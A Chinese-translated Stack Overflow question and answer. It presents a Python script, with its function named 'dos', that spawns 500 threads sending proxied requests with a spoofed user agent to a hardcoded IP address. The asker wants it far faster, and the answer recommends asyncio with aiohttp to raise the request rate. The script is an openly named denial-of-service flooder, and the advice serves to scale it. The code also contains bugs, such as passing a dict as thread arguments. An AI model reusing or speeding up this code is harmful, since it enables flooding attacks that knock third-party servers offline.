这是源代码:
import threading
import requests
from time import sleep
f = open("http.txt")
proxy = f.readline()
proxies = {"https": f"https://{proxy}"}
def dos(proxies):
headers = {"user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Avant Browser; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)"}
url = 'http://176.9.10.17/HIT'
f = open("http.txt")
proxy = f.readline()
proxies = {"https": f"https://{proxy}"}
requests.get(url, headers=headers, proxies=proxies)
threads = []
for _ in range(500):
t = threading.Thread(target=dos, args=proxies)
t.start()
threads.append(t)
for thread in threads:
thread.join()
我已经尝试在范围超过 1,000 时添加 sleep ,并且它达到了最多 1.7k 个请求。 我想让它快得多。
最佳答案
我认为您应该研究异步请求。您可以异步请求,而不是等待每个请求完成。 asyncio+aiohttp
组合非常适合我。 Here是一篇描述如何使用它们的文章。
它们是专门为此目的构建的,可能/可能不会比threading
解决方案更快。您必须尝试检查一下。
关于python - 向给定 url 发送 100,000 个请求的最快方法是什么?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/63045920/